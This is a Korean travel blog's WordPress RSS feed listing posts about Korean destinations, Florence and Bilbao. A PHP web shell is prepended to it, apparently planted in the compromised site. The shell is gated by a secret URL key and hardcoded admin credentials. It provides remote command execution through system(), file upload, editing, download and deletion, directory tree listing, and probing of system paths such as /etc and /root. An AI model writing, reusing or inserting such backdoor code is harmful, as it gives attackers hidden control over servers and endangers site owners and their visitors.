if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[πŸ“‚ Home] '; echo '[πŸ–₯️ Terminal] '; echo '[πŸ’Ύ Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[πŸšͺ Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

βœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

πŸ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo 'πŸ“ '.$item."/\n";
                    else echo 'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'πŸ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

πŸ’Ύ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." βœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." βœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

πŸ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'βœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

πŸ–₯️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'βœ… Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'βœ… Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'βœ… Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'βœ… Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

πŸ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
πŸ“ '.$item.'πŸ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } GoodTrip https://goodtrip.kr Have a Good Trip Sun, 18 May 2025 04:40:06 +0000 ko-KR hourly 1 https://wordpress.org/?v=7.1 κ²Ήλ²šκ½ƒ λͺ…μ†Œ, 용인 동백 은성사 κ²Ήλ²šκ½ƒμ„ 보닀 https://goodtrip.kr/342/%ec%9d%80%ec%84%b1%ec%82%ac-%ea%b2%b9%eb%b2%9a%ea%bd%83%ec%9d%84-%eb%b3%b4%eb%8b%a4/ https://goodtrip.kr/342/%ec%9d%80%ec%84%b1%ec%82%ac-%ea%b2%b9%eb%b2%9a%ea%bd%83%ec%9d%84-%eb%b3%b4%eb%8b%a4/#respond Sun, 18 May 2025 04:39:35 +0000 https://goodtrip.kr/?p=342 더 읽기]]> https://goodtrip.kr/342/%ec%9d%80%ec%84%b1%ec%82%ac-%ea%b2%b9%eb%b2%9a%ea%bd%83%ec%9d%84-%eb%b3%b4%eb%8b%a4/feed/ 0 치유의 숲, 인제 μ›λŒ€λ¦¬ μžμž‘λ‚˜λ¬΄μˆ² https://goodtrip.kr/336/%ec%b9%98%ec%9c%a0%ec%9d%98-%ec%88%b2-%ec%9d%b8%ec%a0%9c-%ec%9b%90%eb%8c%80%eb%a6%ac-%ec%9e%90%ec%9e%91%eb%82%98%eb%ac%b4%ec%88%b2/ https://goodtrip.kr/336/%ec%b9%98%ec%9c%a0%ec%9d%98-%ec%88%b2-%ec%9d%b8%ec%a0%9c-%ec%9b%90%eb%8c%80%eb%a6%ac-%ec%9e%90%ec%9e%91%eb%82%98%eb%ac%b4%ec%88%b2/#respond Sat, 16 Nov 2024 02:39:53 +0000 https://goodtrip.kr/?p=336 더 읽기]]> https://goodtrip.kr/336/%ec%b9%98%ec%9c%a0%ec%9d%98-%ec%88%b2-%ec%9d%b8%ec%a0%9c-%ec%9b%90%eb%8c%80%eb%a6%ac-%ec%9e%90%ec%9e%91%eb%82%98%eb%ac%b4%ec%88%b2/feed/ 0 가을날 μ²­μ™€λŒ€ κ΄€λžŒκΈ° https://goodtrip.kr/332/%ea%b0%80%ec%9d%84%eb%82%a0-%ec%b2%ad%ec%99%80%eb%8c%80-%ea%b4%80%eb%9e%8c%ea%b8%b0/ https://goodtrip.kr/332/%ea%b0%80%ec%9d%84%eb%82%a0-%ec%b2%ad%ec%99%80%eb%8c%80-%ea%b4%80%eb%9e%8c%ea%b8%b0/#respond Fri, 08 Nov 2024 13:30:43 +0000 https://goodtrip.kr/?p=332 더 읽기]]> https://goodtrip.kr/332/%ea%b0%80%ec%9d%84%eb%82%a0-%ec%b2%ad%ec%99%80%eb%8c%80-%ea%b4%80%eb%9e%8c%ea%b8%b0/feed/ 0 슀페인 λΉŒλ°”μ˜€, λ‚™ν›„λœ κ³΅μ—…λ„μ‹œμ—μ„œ μΏ¨ν•œ λ¬Έν™”λ„μ‹œλ‘œ λ³€ν•˜λ‹€ https://goodtrip.kr/159/%ec%8a%a4%ed%8e%98%ec%9d%b8-%eb%b9%8c%eb%b0%94%ec%98%a4bilbao-%eb%82%99%ed%9b%84%eb%90%9c-%ea%b3%b5%ec%97%85%eb%8f%84%ec%8b%9c%ec%97%90%ec%84%9c-%ec%bf%a8%ed%95%9c-%eb%ac%b8%ed%99%94%eb%8f%84/ https://goodtrip.kr/159/%ec%8a%a4%ed%8e%98%ec%9d%b8-%eb%b9%8c%eb%b0%94%ec%98%a4bilbao-%eb%82%99%ed%9b%84%eb%90%9c-%ea%b3%b5%ec%97%85%eb%8f%84%ec%8b%9c%ec%97%90%ec%84%9c-%ec%bf%a8%ed%95%9c-%eb%ac%b8%ed%99%94%eb%8f%84/#respond Thu, 26 Dec 2019 21:23:39 +0000 https://goodtrip.kr/?p=159 더 읽기]]> https://goodtrip.kr/159/%ec%8a%a4%ed%8e%98%ec%9d%b8-%eb%b9%8c%eb%b0%94%ec%98%a4bilbao-%eb%82%99%ed%9b%84%eb%90%9c-%ea%b3%b5%ec%97%85%eb%8f%84%ec%8b%9c%ec%97%90%ec%84%9c-%ec%bf%a8%ed%95%9c-%eb%ac%b8%ed%99%94%eb%8f%84/feed/ 0 λ‰΄μš•νƒ€μž„μ¦ˆ μΆ”μ²œ μ—¬ν–‰μ§€, 호주 κ·Έλž¨ν”Όμ–ΈμŠ€(Grampians, Australia) https://goodtrip.kr/155/155/ https://goodtrip.kr/155/155/#respond Thu, 26 Dec 2019 21:17:28 +0000 https://goodtrip.kr/?p=155 더 읽기]]> https://goodtrip.kr/155/155/feed/ 0 에어비앀비가 μΆ”μ²œν•˜λŠ” 2020λ…„ 인기 μƒμŠΉ μ—¬ν–‰μ§€ 10μ„  https://goodtrip.kr/152/%ec%97%90%ec%96%b4%eb%b9%84%ec%95%a4%eb%b9%84%ea%b0%80-%ec%b6%94%ec%b2%9c%ed%95%98%eb%8a%94-2020%eb%85%84-%ec%9d%b8%ea%b8%b0-%ec%83%81%ec%8a%b9-%ec%97%ac%ed%96%89%ec%a7%80-10%ec%84%a0/ https://goodtrip.kr/152/%ec%97%90%ec%96%b4%eb%b9%84%ec%95%a4%eb%b9%84%ea%b0%80-%ec%b6%94%ec%b2%9c%ed%95%98%eb%8a%94-2020%eb%85%84-%ec%9d%b8%ea%b8%b0-%ec%83%81%ec%8a%b9-%ec%97%ac%ed%96%89%ec%a7%80-10%ec%84%a0/#respond Thu, 26 Dec 2019 21:09:54 +0000 https://goodtrip.kr/?p=152 더 읽기]]> https://goodtrip.kr/152/%ec%97%90%ec%96%b4%eb%b9%84%ec%95%a4%eb%b9%84%ea%b0%80-%ec%b6%94%ec%b2%9c%ed%95%98%eb%8a%94-2020%eb%85%84-%ec%9d%b8%ea%b8%b0-%ec%83%81%ec%8a%b9-%ec%97%ac%ed%96%89%ec%a7%80-10%ec%84%a0/feed/ 0 2020λ…„ λ‰΄μš•νƒ€μž„μ¦ˆκ°€ μΆ”μ²œν•˜λŠ” λ§€λ ₯적인 μ—¬ν–‰μ§€ 10μ„  https://goodtrip.kr/148/2020%eb%85%84-%eb%89%b4%ec%9a%95%ed%83%80%ec%9e%84%ec%a6%88%ea%b0%80-%ec%b6%94%ec%b2%9c%ed%95%98%eb%8a%94-%eb%a7%a4%eb%a0%a5%ec%a0%81%ec%9d%b8-%ec%97%ac%ed%96%89%ec%a7%80-10%ec%84%a0/ https://goodtrip.kr/148/2020%eb%85%84-%eb%89%b4%ec%9a%95%ed%83%80%ec%9e%84%ec%a6%88%ea%b0%80-%ec%b6%94%ec%b2%9c%ed%95%98%eb%8a%94-%eb%a7%a4%eb%a0%a5%ec%a0%81%ec%9d%b8-%ec%97%ac%ed%96%89%ec%a7%80-10%ec%84%a0/#respond Thu, 26 Dec 2019 21:06:49 +0000 https://goodtrip.kr/?p=148 더 읽기]]> https://goodtrip.kr/148/2020%eb%85%84-%eb%89%b4%ec%9a%95%ed%83%80%ec%9e%84%ec%a6%88%ea%b0%80-%ec%b6%94%ec%b2%9c%ed%95%98%eb%8a%94-%eb%a7%a4%eb%a0%a5%ec%a0%81%ec%9d%b8-%ec%97%ac%ed%96%89%ec%a7%80-10%ec%84%a0/feed/ 0 [ν”Όλ Œμ²΄ μ˜ˆμˆ κ°€ μ‹œλ¦¬μ¦ˆ] λ₯΄λ„€μƒμŠ€ λ¬Έν•™ μ‹œλŒ€λ₯Ό μ—° λ‹¨ν…Œ 이야기 https://goodtrip.kr/90/%ed%94%bc%eb%a0%8c%ec%b2%b4-%ec%98%88%ec%88%a0%ea%b0%80-%ec%8b%9c%eb%a6%ac%ec%a6%88-%eb%a5%b4%eb%84%a4%ec%83%81%ec%8a%a4-%eb%ac%b8%ed%95%99-%ec%8b%9c%eb%8c%80%eb%a5%bc-%ec%97%b0-%eb%8b%a8%ed%85%8c/ https://goodtrip.kr/90/%ed%94%bc%eb%a0%8c%ec%b2%b4-%ec%98%88%ec%88%a0%ea%b0%80-%ec%8b%9c%eb%a6%ac%ec%a6%88-%eb%a5%b4%eb%84%a4%ec%83%81%ec%8a%a4-%eb%ac%b8%ed%95%99-%ec%8b%9c%eb%8c%80%eb%a5%bc-%ec%97%b0-%eb%8b%a8%ed%85%8c/#respond Wed, 06 Feb 2019 08:11:41 +0000 https://goodtrip.kr/?p=90 더 읽기]]> https://goodtrip.kr/90/%ed%94%bc%eb%a0%8c%ec%b2%b4-%ec%98%88%ec%88%a0%ea%b0%80-%ec%8b%9c%eb%a6%ac%ec%a6%88-%eb%a5%b4%eb%84%a4%ec%83%81%ec%8a%a4-%eb%ac%b8%ed%95%99-%ec%8b%9c%eb%8c%80%eb%a5%bc-%ec%97%b0-%eb%8b%a8%ed%85%8c/feed/ 0 [μ΄νƒˆλ¦¬μ•„ ν”Όλ Œμ²΄] λ₯΄λ„€μƒμŠ€ 예술 흐름을 μ½κΈ°μœ„ν•œ μš°ν”ΌμΉ˜ λ―Έμˆ κ΄€ μ•ˆλ‚΄μ„œ https://goodtrip.kr/81/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ed%94%bc%eb%a0%8c%ec%b2%b4-%eb%a5%b4%eb%84%a4%ec%83%81%ec%8a%a4-%ec%98%88%ec%88%a0-%ed%9d%90%eb%a6%84%ec%9d%84-%ec%9d%bd%ea%b8%b0%ec%9c%84%ed%95%9c-%ec%9a%b0/ https://goodtrip.kr/81/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ed%94%bc%eb%a0%8c%ec%b2%b4-%eb%a5%b4%eb%84%a4%ec%83%81%ec%8a%a4-%ec%98%88%ec%88%a0-%ed%9d%90%eb%a6%84%ec%9d%84-%ec%9d%bd%ea%b8%b0%ec%9c%84%ed%95%9c-%ec%9a%b0/#respond Tue, 05 Feb 2019 17:49:09 +0000 https://goodtrip.kr/?p=81 더 읽기]]> https://goodtrip.kr/81/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ed%94%bc%eb%a0%8c%ec%b2%b4-%eb%a5%b4%eb%84%a4%ec%83%81%ec%8a%a4-%ec%98%88%ec%88%a0-%ed%9d%90%eb%a6%84%ec%9d%84-%ec%9d%bd%ea%b8%b0%ec%9c%84%ed%95%9c-%ec%9a%b0/feed/ 0 [μ΄νƒˆλ¦¬μ•„ μ—¬ν–‰] ν”Όλ Œμ²΄ 산타 λ§ˆλ¦¬μ•„ 노벨라성당(Church of Santa Maria Novella) https://goodtrip.kr/72/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ec%97%ac%ed%96%89-%ed%94%bc%eb%a0%8c%ec%b2%b4-%ec%82%b0%ed%83%80-%eb%a7%88%eb%a6%ac%ec%95%84-%eb%85%b8%eb%b2%a8%eb%9d%bc%ec%84%b1%eb%8b%b9church-of-santa-maria/ https://goodtrip.kr/72/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ec%97%ac%ed%96%89-%ed%94%bc%eb%a0%8c%ec%b2%b4-%ec%82%b0%ed%83%80-%eb%a7%88%eb%a6%ac%ec%95%84-%eb%85%b8%eb%b2%a8%eb%9d%bc%ec%84%b1%eb%8b%b9church-of-santa-maria/#respond Sun, 03 Feb 2019 15:44:12 +0000 https://goodtrip.kr/?p=72 더 읽기]]> https://goodtrip.kr/72/%ec%9d%b4%ed%83%88%eb%a6%ac%ec%95%84-%ec%97%ac%ed%96%89-%ed%94%bc%eb%a0%8c%ec%b2%b4-%ec%82%b0%ed%83%80-%eb%a7%88%eb%a6%ac%ec%95%84-%eb%85%b8%eb%b2%a8%eb%9d%bc%ec%84%b1%eb%8b%b9church-of-santa-maria/feed/ 0